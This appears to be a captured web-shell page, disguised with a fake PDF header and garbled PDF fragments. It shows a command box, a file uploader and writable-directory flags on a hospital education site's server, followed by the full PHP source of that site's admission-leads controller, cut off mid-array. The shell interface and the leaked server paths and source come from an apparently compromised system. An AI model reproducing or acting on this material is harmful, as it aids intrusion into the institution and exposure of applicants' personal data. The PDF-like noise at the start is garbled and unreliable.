%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/lms/lms/api/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/lms/lms/api/application/controllers/Leads.php
<?php
class Leads extends MY_Controller {
    function __construct() {
		parent::__construct();
		not_logged_res(); 
		ini_set('memory_limit', '2048M');
		$this->checkAccess(['lead_view', 'online_leads', 'offline_leads', 'medical_leads', 'phd_leads', 'lead_view_byyou', 'ps_lead_view', 'api_leads_report', 'caller_leads']);
		$this->load->model("leads_model", "leads");
		$this->load->model("master_model", "master");
        $this->load->model("dataset_model", "dataset");
        $this->load->model("user_model", "user");
	}

	function init(){
		$this->load->model("reports_model", "report");
		$lvOpt=$this->dataset->detail(0, USER_ID);

		$states=$this->common->states();
		$data['states']=[];
		if($lvOpt['states']){
			foreach($states as $i=>$r){
				if(in_array($r['id'], $lvOpt['states'])){
					$data['states'][]=$r;
				}
			}
		}else{
			$data['states']=$states;
		}

		$cities=$this->common->cities();
		$data['cities']=[];
		if($lvOpt['cities']){
            foreach($data['states'] as $s){
                if($lvOpt['cities'][$s['id']]){
                    $city_ids=$lvOpt['cities'][$s['id']];
                    foreach($cities as $r){
                        if(in_array($r['id'], $city_ids)){
                            $data['cities'][]=$r;
                        }
                    }
                }else{
                    foreach($cities as $r){
                        if($r['state_id']==$s['id']){
                            $data['cities'][]=$r;
                        }
                    }
                }
            }
            
            /* foreach($lvOpt['cities'] as $state_id=>$city_ids){
				foreach($cities as $r){
                    if(in_array($r['id'], $city_ids)){
                        $data['cities'][]=$r;
                    }
				}
			} */
		}
		if(!$data['cities']){
			$data['cities']=$cities;
        }

		$programs=$this->common->programs();
		$data['programs']=[];
		if($lvOpt['programs']){
			foreach($programs as $i=>$r){
				if(in_array($r['id'], $lvOpt['programs'])){
					$data['programs'][]=$r;
				}
			}
		}else{
			$data['programs']=$programs;
        }

		$utm_sources=$this->common->allUtmSources(true, true);
		$data['utm_sources']=[];
		if($lvOpt['utm_sources']){
			foreach($utm_sources as $i=>$r){
				if(in_array($r['id'], $lvOpt['utm_sources'])){
					$data['utm_sources'][]=$r;
				}
			}
		}else{
			$data['utm_sources']=$utm_sources;
        }

		$data['plans']=$this->common->plans();
		$data['lpages']=$this->common->allLandingPages(true);
		$data['disciplines']=$this->common->disciplines();
		
		$data['utm_groups']=$this->common->utmGroups(true);  
		$data['programTypes']=$this->master->programTypes(); 

		$data['applicantCats']=$this->common->applicantCats();
		$data['religions']=$this->common->religions();
		$data['boards']=$this->common->boards();
		$data['universities']=$this->common->universities();
        
        $data['markingSchemes']=$this->common->markingSchemes();
        $data['markingSchemesValues']=key_val_array($this->db->select("id, allowed_data")->get("master_marking_schemes")->result_array(), 'id', 'allowed_data');
        foreach($data['markingSchemesValues'] as $k=>$v){
            $data['markingSchemesValues'][$k]=explode(",", $v);
        }

		$data['academicCareers']=$this->common->academicCareers();

		$data['remarks_cats']=$this->leads->remarks_cats();
		$data['remarks']=$this->leads->remarks();

		$data['pyears']=[];
		for($i=date('Y'); $i>=date('Y')-70; $i--){
			$data['pyears'][]=$i;
        }
        $data['ps_app_status_list']=$this->db->query("SELECT DISTINCT DESCR1 FROM ps_stu_status WHERE DESCR1!=''")->result_array();

        $data['lead_sources']=$this->master->all_lead_sources();
        $data['lead_source_states']=$this->master->lead_source_states();
        $data['all_users']=$this->user->active_users();
        $data['comm_modes']=lf_communication_modes();
        $data['campuses']=$this->common->all_campus();
		$data['email_templates']=$this->report->campaign_templates(['FOLLOWUP_EMAIL', 'LETTER', 'WHATSAPP']);
		$data['sms_templates']=$this->report->campaign_templates('FOLLOWUP_SMS');

        $data['lead_restrict']=LEAD_RESTRICT;
        $data['USER_ID']=USER_ID;
		$this->json_data($data);
	}

	function lists(){
		$qs=trim_array($_REQUEST);
		if(LEAD_RESTRICT){
			$_REQUEST['fromDate']='';
			$_REQUEST['toDate']='';
			if(!$qs['k']){
				$data['result']=[];
			}else{
				$data=$this->leads->lists();
			}
		}else{
			if($qs['step_completed'] && in_array('-1', $qs['step_completed'])){
				$data=$this->leads->listsStepZero();
			}else{
				$data=$this->leads->lists();
			}
		}

		if(LEAD_RESTRICT==2){
			if($data['result']){
				foreach($data['result'] as &$r){
					foreach($r as $k=>$v){
						$r[$k]='NULL';
					}
				}
			}
		}
		
		$data['LEAD_RESTRICT']=LEAD_RESTRICT;
		$this->json_data($data);
	}

	function exportLists(){
        ini_set('memory_limit', '-1');
        set_time_limit(0);
        
		$qs=trim_array($_REQUEST);
		if($qs['step_completed'] && in_array('-1', $qs['step_completed'])){
			$data=$this->leads->listsStepZero(TRUE);
			download_leads_csv($data['result'], leadsKeysLabelsStep0());
		}else{
			$data=$this->leads->listsToExport();
			download_leads_csv($data, leadsKeysLabels());
		}
	}

	function detailToEdit($id=0, $step_completed=0){
		if($step_completed=='-1'){
			return [];
		}
		$data['app']=$this->leads->applicationDtl($id);
		if($data['app']){
			$data['usr']=$this->leads->userDetail($data['app']['applicant_id']);
			$data['edu']=$this->leads->eduDetail($data['app']['applicant_id']);
			
			$data['acDtl']=$this->common->acDtl($data['app']['ac_id']);
			$data['programs']=$this->common->programs($data['app']['ac_id']);
			$data['plans']=$this->common->plans($data['app']['program_id']);
		}
		$this->json_data($data);
    }
    
    function save_step1(){
		$post=trim_array($this->input->post());
        $inf=['success'=>false, 'msg'=>'Error!'];
        $app_id=(int)$post['application_id'];
        $id=0;
        if(!$app_id){
            $this->checkAccess('lead_add');
            $defaultUtmSource = $this->db->from('master_utm_sources')->where(['default_for_admin'=>'1'])->select('id,title')->limit(1)->get()->row_array();
            if($defaultUtmSource){
                $post['utm_source_id']=$defaultUtmSource['id'];
                $post['utm_source']=$defaultUtmSource['title'];
            }else{
                $inf['msg']="No Default UTM Source Found";
                $this->json_data($inf);
            }
            $post['lpage_id']=$this->db->select("id")->get_where("landing_pages", ['isdefault'=>1])->row()->id;
            if(!$post['lpage_id']){
                $inf['msg']="Default landing page is not set!";
                $this->json_data($inf);
            }
        }else{
            $this->checkAccess('lead_edit');
            $id=(int)$this->db->select("applicant_id")->get_where("applications", ['id'=>$app_id])->row()->applicant_id;
			$step_completed=(int)$this->db->select("step_completed")->get_where("applications", ['id'=>$app_id])->row("step_completed");
			$remark_id=(int)$this->db->select("id")->limit(1)->get_where("applications_remarks", ['application_id'=>$app_id])->row("id");
			if($step_completed<1 && !$remark_id){
				$inf['msg']="You can not update! Followup is pending.";
                $this->json_data($inf);
			}
        }

        $this->form_validation->set_rules('campus_id', 'Campus', "required", $this->req);

        if(!IS_ADMIN){
            /* $this->form_validation->set_rules('process_by', 'Lead Process By', "required", $this->req);
            $this->form_validation->set_rules('lead_source_state_id', 'Source State', "required|integer", $this->req);
            $this->form_validation->set_rules('lead_source_id', 'Source', "required|integer", $this->req); */
        }
		
		$this->form_validation->set_rules('name', 'Name', "required|callback_valid_name", $this->req);
        $this->form_validation->set_rules('email', 'Email', "required|valid_email|is_unique[applicants.email.id!='$id']", $this->req);
        $this->form_validation->set_rules('mob', 'Mobile No.', "required|integer|exact_length[10]|is_unique[applicants.mob.id!='$id']", $this->req);
        //$this->form_validation->set_rules('dob', 'DOB', "required|callback_dob_validation", $this->req);
        //$this->form_validation->set_rules('gender', 'Gender', "required", $this->req);
        $this->form_validation->set_rules('state_id', 'State', "required", $this->req);
        //$this->form_validation->set_rules('city_id', 'City', "required", $this->req);
        if($post['city_id']==-1){
            $this->form_validation->set_rules('city', 'City', "required", $this->req);
        }else{
            $post['city']=$this->db->get_where("master_cities", ['id'=>$post['city_id']])->row()->title;
            if(!$post['city']){
                $post['city']='';
            }
        }
        $this->form_validation->set_rules('plan_id', 'Plan/Specialization', "required", $this->req);
        
		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
            $data1=filter_value($post, ['name', 'email', 'mob', 'gender', 'state_id', 'city_id', 'city', 'process_by', 'lead_source_id', 'lead_source_remarks', 'neet_roll_no', 'neet_marks', 'neet_all_india_rank', 'lpage_id', 'utm_source_id', 'utm_source', 'is_campus_offline']);
            //$data1['dob']=get_date($post['dob'], '', 'Y-m-d');
            $data1['id']=$id;
			if(!$id){
				$udtl=$this->db->select("campus_offline_user")->get_where("users", ['id'=>USER_ID])->row_array();
				if($udtl['campus_offline_user']==='Y'){
					$data1['is_campus_offline']='Y';
				}
			}

            $data2['id']=$app_id;
            $data2['campus_id']=$post['campus_id'];
            $data2['plan_id']=$post['plan_id'];
            $data2['program_id']=$this->db->select("program_id")->get_where("master_program_plans", ['id'=>$data2['plan_id']])->row()->program_id;
            $prg=$this->db->select("type_id, ac_id, discipline_id, school_id, is_medical, is_phd")->get_where("master_programs", ['id'=>$data2['program_id']])->row_array();
            $data2['prg_type_id']=$prg['type_id'];
            $data2['ac_id']=$prg['ac_id'];
            $data2['discipline_id']=$prg['discipline_id'];
            $data2['school_id']=$prg['school_id'];
            if(!$app_id){
                $data2['step_completed']=1;
            }else{
				$step_completed=(int)$this->db->select("step_completed")->get_where("applications", ['id'=>$app_id])->row()->step_completed;
				if($step_completed===0){
					$data2['step_completed']=1;
				}
			}

            $data1['is_medical']=$prg['is_medical'];
            $data1['is_phd']=$prg['is_phd'];
            
			if($app_id=$this->leads->save($data1, $data2)){
                $inf['app']=$this->leads->applicationDtl($app_id);
                $inf['acDtl']=$this->common->acDtl($inf['app']['ac_id']);

				$inf['success']=true;
				$inf['msg']='Lead '.($id?'updated':'created').' successfully';
			}
		}

		$this->json_data($inf);
    }

    function save_step2(){
		$post=trim_array($this->input->post());
        $inf=['success'=>false, 'msg'=>'Error!'];
        $this->checkAccess('lead_edit');
        $app_id=(int)$post['application_id'];
        $app=$this->db->select("applicant_id, step_completed, payment_status")->get_where("applications", ['id'=>$app_id])->row_array();
        $id=(int)$app['applicant_id'];
        $step_completed=(int)$app['step_completed'];
        if(!$app_id || !$id){
            $inf['msg']="Invalid Data!";
            $this->json_data($inf);
        }

        $this->form_validation->set_rules('dob', 'Date of Birth', "required|callback_dob_validation", $this->req);
        $this->form_validation->set_rules('father_name', 'Father Name', "required", $this->req);
        $this->form_validation->set_rules('address', 'Address', "required", $this->req);
        $this->form_validation->set_rules('pincode', 'Pincode', "required", $this->req);
        $this->form_validation->set_rules('religion_id', 'Religion', "required", $this->req);
        $this->form_validation->set_rules('cat_id', 'Category', "required", $this->req);
        //$this->form_validation->set_rules('identity_proof', 'Identity Proof', "required", $this->req);
        //$this->form_validation->set_rules('identity_proof_no', 'Identity Proof Number', "required", $this->req);
        $this->form_validation->set_rules('abc_id', 'ABC ID', "integer|max_length[12]", $this->req);
        
		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
            $data1=filter_value($post, ['mob2', 'father_name', 'address', 'pincode', 'religion_id', 'cat_id', 'identity_proof', 'identity_proof_no', 'abc_id']);
            $data1['dob']=get_date($post['dob'], '', 'Y-m-d');
            $data1['id']=$id;
            
            $data2=filter_value($post, []);
            $data2['id']=$app_id;
            if($step_completed==1){
                $data2['step_completed']=2;
                $data2['step2date']=currentDT();
                if($app['payment_status']){
                    $data2['step_completed']=3;
                    $data2['step3date']=currentDT();
                }
            }

            $edu=[
                'status_10th'=>$post['status_10th'],
                'board_id_10th'=>$post['board_id_10th'],
                'board_10th'=>$post['board_id_10th']==-1?$post['board_10th']:($this->db->select("title")->get_where("master_edu_boards", ['id'=>$post['board_id_10th']])->row()->title),
                'marking_scheme_id_10th'=>$post['marking_scheme_id_10th'],
                'marks_10th'=>$post['marks_10th'],
                'passing_year_10th'=>$post['passing_year_10th'],

                'status_12th'=>$post['status_12th'],
                'board_id_12th'=>$post['board_id_12th'],
                'board_12th'=>$post['board_id_12th']==-1?$post['board_12th']:($this->db->select("title")->get_where("master_edu_boards", ['id'=>$post['board_id_12th']])->row()->title),
                'marking_scheme_id_12th'=>$post['marking_scheme_id_12th'],
                'marks_12th'=>$post['marks_12th'],
                'passing_year_12th'=>$post['passing_year_12th'],

                'status_dip'=>$post['status_dip'],
                'board_id_dip'=>$post['board_id_dip'],
                'board_dip'=>$post['board_id_dip']==-1?$post['board_dip']:($this->db->select("title")->get_where("master_edu_boards", ['id'=>$post['board_id_dip']])->row()->title),
                'marking_scheme_id_dip'=>$post['marking_scheme_id_dip'],
                'marks_dip'=>$post['marks_dip'],
                'passing_year_dip'=>$post['passing_year_dip'],

                'status_ug'=>$post['status_ug'],
                'university_id_ug'=>$post['university_id_ug'],
                'university_ug'=>$post['university_id_ug']==-1?$post['university_ug']:($this->db->select("title")->get_where("master_universities", ['id'=>$post['university_id_ug']])->row()->title),
                'marking_scheme_id_ug'=>$post['marking_scheme_id_ug'],
                'marks_ug'=>$post['marks_ug'],
                'passing_year_ug'=>$post['passing_year_ug'],

                'status_pg'=>$post['status_pg'],
                'university_id_pg'=>$post['university_id_pg'],
                'university_pg'=>$post['university_id_pg']==-1?$post['university_pg']:($this->db->select("title")->get_where("master_universities", ['id'=>$post['university_id_pg']])->row()->title),
                'marking_scheme_id_pg'=>$post['marking_scheme_id_pg'],
                'marks_pg'=>$post['marks_pg'],
                'passing_year_pg'=>$post['passing_year_pg'],
            ];
            $edu=replace_null($edu);
            
			if($app_id=$this->leads->save($data1, $data2, $edu)){
                $inf['app']=$this->leads->applicationDtl($app_id);
                $inf['acDtl']=$this->common->acDtl($inf['app']['ac_id']);

				$inf['success']=true;
				$inf['msg']='Step2 data updated successfully';
			}
		}

		$this->json_data($inf);
    }
	
	function delete(){
		$this->checkAccess('lead_delete');
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		$step_completed=intval($this->input->post('step_completed'));
		if($step_completed=='-1'){
			if($this->db->delete("tmp_applicants", array('id'=>$id))){
				$inf['success']='T';
				$inf['msg']="Lead deleted successfully";
			}
			$this->json_data($inf);
		}
		
		$dtl=$this->db->select("applicant_id, step_completed")->get_where("applications", array('id'=>$id))->row_array();
		if($dtl['step_completed']==3){
		 	//$inf['msg']="Can't be deleted because payment has been made!"; $this->json_data($inf);
		}

		if($this->leads->delete($id)>0){
			if(!$this->db->select("id")->get_where("applications", array('applicant_id'=>$dtl['applicant_id']))->row()->id){
				$udtl=$this->db->select("id, profile_pic")->get_where("applicants", array('id'=>$dtl['applicant_id']))->row_array();
				if($this->leads->deleteApplicant($udtl['id'])){
					if($udtl['profile_pic']){
						del_file(UP_PATHF.'profile_pics/'.$udtl['profile_pic']);
					}
				}
			}
			
			$inf['success']='T';
			$inf['msg']="Lead deleted successfully";
		}
		$this->json_data($inf);
	}

	function dob_validation($v){
		if (strtotime($v) > strtotime("-10 years", time())){
			$this->form_validation->set_message("dob_validation", "DOB must be before 10 years");
			return FALSE;
		}else{
			return TRUE;
		}
	}

	function diploma_12_req($v){
		$post=trim_array($this->input->post());
		if(!$post['board_id_12th'] && !$post['board_id_dip']){
			$this->form_validation->set_message("diploma_12_req", "Diploma or 12th details required");
			return FALSE;
		}
		if($post['board_id_12th'] && $post['board_id_dip']){
			$this->form_validation->set_message("diploma_12_req", "Only one (Either Diploma or 12th) details required");
			return FALSE;
		}
		return TRUE;
	}

	function check_valid_name($str){
        if(!trim($str)){
            return true;
        }
		$is_only_alpha=( ! preg_match("/^([-a-z_ ])+$/i", $str)) ? FALSE : TRUE ;
		if(!$is_only_alpha){
			$this->form_validation->set_message("check_valid_name", "Only alphabet and space are allowed in %s");
		}
		return $is_only_alpha;
	}

	function pg_yr_validation($str){
		$post=trim_array($this->input->post());
		$pg_yr=(int)$post['passing_year_pg'];
		$ug_yr=(int)$post['passing_year_ug'];
		if($pg_yr <= $ug_yr){
			$this->form_validation->set_message("pg_yr_validation", "%s must be greater then undergrduate");
			return FALSE;
		}
		return TRUE;
	}

	function ug_yr_validation($str){
		$post=trim_array($this->input->post());
		$ug_yr=(int)$post['passing_year_ug'];
		$inter_yr=(int)$post['passing_year_12th'];
		if($ug_yr <= $inter_yr){
			$this->form_validation->set_message("ug_yr_validation", "%s must be greater then 12th passing year");
			return FALSE;
		}
		return TRUE;
	}

	function twelth_yr_validation($str){
		$post=trim_array($this->input->post());
		$inter_yr=(int)$post['passing_year_12th'];
		$tenth_yr=(int)$post['passing_year_10th'];
		if($inter_yr <= $tenth_yr){
			$this->form_validation->set_message("twelth_yr_validation", "%s must be greater then 10th passing year");
			return FALSE;
		}
		return TRUE;
	}

	function dip_yr_validation($str){
		$post=trim_array($this->input->post());
		$dip_yr=(int)$post['passing_year_dip'];
		$tenth_yr=(int)$post['passing_year_10th'];
		if($dip_yr <= $tenth_yr){
			$this->form_validation->set_message("dip_yr_validation", "%s must be greater then 10th passing year");
			return FALSE;
		}
		return TRUE;
	}

	function updateLead(){
		$post=trim_array($this->input->post());
		$inf=array('success'=>'F', 'msg'=>'Error!');
        $id=$post['id']=(int)$post['id'];
        if($id){
            $this->checkAccess('lead_edit');
		    $appDtl=$this->db->select("id,applicant_id,ac_id,step_completed")->get_where("applications", array('id'=>$post['id']))->row_array();
        }else{
            $this->checkAccess('lead_add');
            $defaultUtmSource = $this->db->from('master_utm_sources')->where(['default_for_admin'=>'1'])->select('id,title')->limit(1)->get()->row_array();
            if($defaultUtmSource){
                $post['utm_source_id']=$defaultUtmSource['id'];
                $post['utm_source']=$defaultUtmSource['title'];
            }
            $post['lpage_id']=$this->db->select("id")->get_where("landing_pages", ['isdefault'=>1])->row()->id;
            if(!$post['lpage_id']){
                $inf['msg']="Default landing page is not set!";
                $this->json_data($inf);
            }
            $appDtl=['id'=>0, 'applicant_id'=>0, 'step_completed'=>2];
        }
        $applicantId=$appDtl['applicant_id'];

        if($post['ac_id']){
            $acDtl=$this->common->acDtl($post['ac_id']);
        }

        $this->form_validation->set_rules('process_by', 'Processed By', "required", $this->req);
        $this->form_validation->set_rules('lead_source_id', 'Source', "required", $this->req);

        $this->form_validation->set_rules('ac_id', 'Academic Career', "required", $this->req);
        $this->form_validation->set_rules('program_id', 'Program', "required", $this->req);
        $this->form_validation->set_rules('plan_id', 'Specialization', "required", $this->req);
		
        $this->form_validation->set_rules('name', 'Name', "required|callback_check_valid_name", $this->req);
        $this->form_validation->set_rules('email', 'Email', "required|valid_email|is_unique[applicants.email.id!='$applicantId']", $this->req);
        $this->form_validation->set_rules('mob', 'mob', "required|integer|exact_length[10]|is_unique[applicants.mob.id!='$applicantId']", $this->req);
        
        $checkValidation=false;
        if($checkValidation){
            $this->form_validation->set_rules('father_name', 'Father name', "required|callback_check_valid_name", $this->req);
			$this->form_validation->set_rules('dob', 'Date of Birth', "required|callback_valid_date|callback_dob_validation", $this->req);
			$this->form_validation->set_rules('gender', 'Gender', "required", $this->req);
			$this->form_validation->set_rules('state_id', 'State', "required", $this->req);
			$this->form_validation->set_rules('city_id', 'City', "required", $this->req);
			if($post['city_id']==-1){
				$this->form_validation->set_rules('city', 'Other city name', 'required', $this->req);
			}else if($post['city_id']){
				$post['city']=$this->db->get_where("master_cities", array('id'=>$post['city_id']))->row()->title;
			}
			$this->form_validation->set_rules('address', 'Address', "required", $this->req);
			$this->form_validation->set_rules('pincode', 'Pincode', "required|integer|exact_length[6]", $this->req);
			$this->form_validation->set_rules('cat_id', 'Category', "required", $this->req);
			$this->form_validation->set_rules('religion_id', 'Religion', "required", $this->req);

			/** Education Validation */
			if($acDtl['req_10th']){
				$this->form_validation->set_rules('board_id_10th', 'Board of 10th', "required", $this->req);
				$this->form_validation->set_rules('marking_scheme_id_10th', 'Marking scheme of 10th', "required", $this->req);

				if($post['board_id_10th']==-1){
					$this->form_validation->set_rules('board_10th', 'Other board name of 10th', 'required', $this->req);
				}else if($post['board_id_10th']){
					$post['board_10th']=$this->db->get_where("master_edu_boards", array('id'=>$post['board_id_10th']))->row()->title;
				}
				if($post['status_10th']){
					$this->form_validation->set_rules('marks_10th', 'Marks of 10th', "required", $this->req);
					$this->form_validation->set_rules('passing_year_10th', 'Passing year of 10th', "required", $this->req);
				}else{
					$post['marks_10th']=$post['passing_year_10th']='';
				}
			}else{
				$post['status_10th']=$post['board_id_10th']=$post['board_10th']=$post['marking_scheme_id_10th']=$post['marks_10th']=$post['passing_year_10th']='';
			}

			if($acDtl['req_12th']){
				$this->form_validation->set_rules('diploma_12_req', '', "callback_diploma_12_req", $this->req);

				if($post['board_id_dip'] && !$post['board_id_12th']){
					$this->form_validation->set_rules('board_id_dip', 'Board of diploma', "required", $this->req);
					$this->form_validation->set_rules('marking_scheme_id_dip', 'Marking scheme of diploma', "required", $this->req);
					if($post['board_id_dip']==-1){
						$this->form_validation->set_rules('board_dip', 'Other board name of diploma', 'required', $this->req);
					}else if($post['board_id_dip']){
						$post['board_dip']=$this->db->get_where("master_edu_boards", array('id'=>$post['board_id_dip']))->row()->title;
					}
					if($post['status_dip']){
						$this->form_validation->set_rules('marks_dip', 'Marks of diploma', "required", $this->req);
						$this->form_validation->set_rules('passing_year_dip', 'Passing year of diploma', "required|callback_dip_yr_validation", $this->req);
					}else{
						$post['marks_dip']=$post['passing_year_dip']='';
					}
					$post['status_12th']=$post['board_id_12th']=$post['board_12th']=$post['marking_scheme_id_12th']=$post['marks_12th']=$post['passing_year_12th']='';
				}else{
					$this->form_validation->set_rules('board_id_12th', 'Board of 12th', "required", $this->req);
					$this->form_validation->set_rules('marking_scheme_id_12th', 'Marking scheme of 12th', "required", $this->req);
					if($post['board_id_12th']==-1){
						$this->form_validation->set_rules('board_12th', 'Other board name of 12th', 'required', $this->req);
					}else if($post['board_id_12th']){
						$post['board_12th']=$this->db->get_where("master_edu_boards", array('id'=>$post['board_id_12th']))->row()->title;
					}
					if($post['status_12th']){
						$this->form_validation->set_rules('marks_12th', 'Marks of 12th', "required", $this->req);
						$this->form_validation->set_rules('passing_year_12th', 'Passing year of 12th', "required|callback_twelth_yr_validation", $this->req);
					}else{
						$post['marks_12th']=$post['passing_year_12th']='';
					}
					$post['status_dip']=$post['board_id_dip']=$post['board_dip']=$post['marking_scheme_id_dip']=$post['marks_dip']=$post['passing_year_dip']='';
				}
			}else{
				$post['status_12th']=$post['board_id_12th']=$post['board_12th']=$post['marking_scheme_id_12th']=$post['marks_12th']=$post['passing_year_12th']='';
				$post['status_dip']=$post['board_id_dip']=$post['board_dip']=$post['marking_scheme_id_dip']=$post['marks_dip']=$post['passing_year_dip']='';
			}

			if($acDtl['req_ug']){
				$this->form_validation->set_rules('university_id_ug', 'University of graduation', "required", $this->req);
				$this->form_validation->set_rules('marking_scheme_id_ug', 'Marking scheme of graduation', "required", $this->req);
				if($post['university_id_ug']==-1){
					$this->form_validation->set_rules('university_ug', 'Other university name of graduation', 'required', $this->req);
				}else if($post['university_id_ug']){
					$post['university_ug']=$this->db->get_where("master_universities", array('id'=>$post['university_id_ug']))->row()->title;
				}
				if($post['status_ug']){
					$this->form_validation->set_rules('marks_ug', 'Marks of graduation', "required", $this->req);
					$this->form_validation->set_rules('passing_year_ug', 'Passing year of graduation', "required|callback_ug_yr_validation", $this->req);
				}else{
					$post['marks_ug']=$post['passing_year_ug']='';
				}
			}else{
				$post['status_ug']=$post['university_id_ug']=$post['university_ug']=$post['marking_scheme_id_ug']=$post['marks_ug']=$post['passing_year_ug']='';
			}

			if($acDtl['req_pg']){
				$this->form_validation->set_rules('university_id_pg', 'University of post graduation', "required", $this->req);
				$this->form_validation->set_rules('marking_scheme_id_pg', 'Marking scheme of post graduation', "required", $this->req);
				if($post['university_id_pg']==-1){
					$this->form_validation->set_rules('university_pg', 'Other university name of post graduation', 'required', $this->req);
				}else if($post['university_id_pg']){
					$post['university_pg']=$this->db->get_where("master_universities", array('id'=>$post['university_id_pg']))->row()->title;
				}
				if($post['status_pg']){
					$this->form_validation->set_rules('marks_pg', 'Marks of post graduation', "required", $this->req);
					$this->form_validation->set_rules('passing_year_pg', 'Passing year of post graduation', "required|callback_pg_yr_validation", $this->req);
				}else{
					$post['marks_pg']=$post['passing_year_pg']='';
				}
			}else{
				$post['status_pg']=$post['university_id_pg']=$post['university_pg']=$post['marking_scheme_id_pg']=$post['marks_pg']=$post['passing_year_pg']='';
			}
		}
		/** \ */

		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
			$post['dob']=to_date_format($post['dob']);
			$data['dtl']=filter_value($post, array('process_by', 'lead_source_id', 'lead_source_remarks', 'name', 'email', 'mob', 'father_name', 'dob', 'gender', 'state_id', 'city_id', 'city', 'address', 'pincode', 'cat_id', 'religion_id', 'identity_proof', 'identity_proof_no', 'neet_roll_no', 'neet_marks', 'neet_all_india_rank', 'utm_source_id', 'utm_source', 'lpage_id'));
			$data['eduDtl']=filter_value($post, array('status_10th', 'board_id_10th', 'board_10th', 'marking_scheme_id_10th', 'marks_10th', 'passing_year_10th', 
													  'status_12th', 'board_id_12th', 'board_12th', 'marking_scheme_id_12th', 'marks_12th', 'passing_year_12th',
													  'status_dip', 'board_id_dip', 'board_dip', 'marking_scheme_id_dip', 'marks_dip', 'passing_year_dip',
													  'status_ug', 'university_id_ug', 'university_ug', 'marking_scheme_id_ug', 'marks_ug', 'passing_year_ug',
													  'status_pg', 'university_id_pg', 'university_pg', 'marking_scheme_id_pg', 'marks_pg', 'passing_year_pg'));
			
			
			$data['app']=filter_value($post, array('ac_id', 'program_id', 'plan_id'));
			if($app_id=$this->leads->updateLead($data, $appDtl)){
				$inf['success']='T';
				$inf['msg']='Lead '.($id?'updated':'added').' successfully';
			}
		}

		$this->json_data($inf);
    }
    
    function send_to_ps($id){
        $inf=array('success'=>false, 'msg'=>'Error!');
        $appDtl=$this->db->select("step_completed")->get_where("applications", array('id'=>$id))->row_array();
		if((int)$appDtl['step_completed']<3){
			$inf['msg']="This is not paid lead"; $this->json_data($inf);
        }
        
        $this->load->model('ps_model', 'ps');
        $inf=$this->ps->addLeadToPS($id);
        
        $this->json_data($inf);
    }

	function uploadLeads(){
        //NAME | EMAILID | STATE_CODE | MOBILE_NO | PROGRAM_NAME | PLAN_NAME | UTM_SOURCE | UTM_MEDIUM
        //NAME | EMAILID | STATE_CODE | MOBILE_NO | PLAN_CODE | UTM_SOURCE | UTM_MEDIUM | CITY

        //ini_set('display_errors', 1);
		//error_reporting(E_ALL & ~E_NOTICE);
        error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED & ~E_STRICT & ~E_USER_NOTICE & ~E_USER_DEPRECATED);

        $post=trim_array($this->input->post());
        $inf=['success'=>false, 'msg'=>'Error!'];
        try{
            if(!$_FILES['file']['name']){
                throw new Exception("Excel file required!");
            }
            if(strtolower(get_ext($_FILES['file']['name']))!='xlsx'){
                throw new Exception("You have not pick a valid excel file (.xlsx)!");
            }
            if(!strlen($post['step'])){
                throw new Exception("Invalid data!");
            }

            $lpage_id=$this->db->select("id")->get_where("landing_pages", ['isdefault'=>1])->row()->id;
            if(!$lpage_id){
                $inf['msg']="Default landing page is not set!";
                $this->json_data($inf);
            }
            
            $this->load->library('excel');
            $rows=$this->excel->read($_FILES['file']['tmp_name']);
            foreach($rows as $i=>&$r){
                if($i==0) continue;
                $r=trim_array($r);
                if(!$r[0]){
                    continue;
                }

                $r['state_id']=$this->db->select("id")->get_where("master_states", ['code'=>$r[2]])->row('id');
                if(!$r['state_id']){
                    throw new Exception("Invalid state code ({$r[2]})!");
                }

                if($post['step']==1){
                    $r['city']=$r[7]?$r[7]:'';
                    $r['city_id']=$this->db->select("id")->get_where("master_cities", ['title'=>$r['city'], 'state_id'=>$r['state_id']])->row('id');
                    if(!$r['city_id']){
                        $r['city_id']="-1";
                    }

                    $planCode=str_replace('#', '', $r[4]);
                    $plan=$this->db->select("id, program_id")->get_where("master_program_plans", ['code'=>$planCode])->row_array();
                    if(!$plan){
                        throw new Exception("Invalid plan code ({$r[4]})!");
                    }
                    $prg=$this->db->select("id, type_id, ac_id, discipline_id, school_id")->get_where("master_programs", ['id'=>$plan['program_id']])->row_array();

                    //$r['prg_type_id']=$prg['type_id'];
                    $r['ac_id']=$prg['ac_id'];
                    $r['discipline_id']=$prg['discipline_id'];
                    $r['school_id']=$prg['school_id'];
                    $r['program_id']=$prg['id'];
                    $r['plan_id']=$plan['id'];
                }else{
                    $r['city']='';
                    $r['city_id']=0;
                }
            }

            $c=0;
            $n1=0;
            $appIds=[];
            $dupEmails=[];
            foreach($rows as $i=>$rw){
                if($i==0) continue;
                if(!$rw[0]){
                    continue;
                }

                $d1=[
                    'name'=>$rw[0],
                    'email'=>$rw[1],
                    'mob'=>$rw[3],
                    'state_id'=>$rw['state_id'],
                    'city_id'=>$rw['city_id'],
                    'city'=>$rw['city'],
                    'lpage_id'=>$lpage_id,
                    'created'=>currentDT(),
                    'created_by'=>USER_ID,
                    'updated'=>currentDT(),
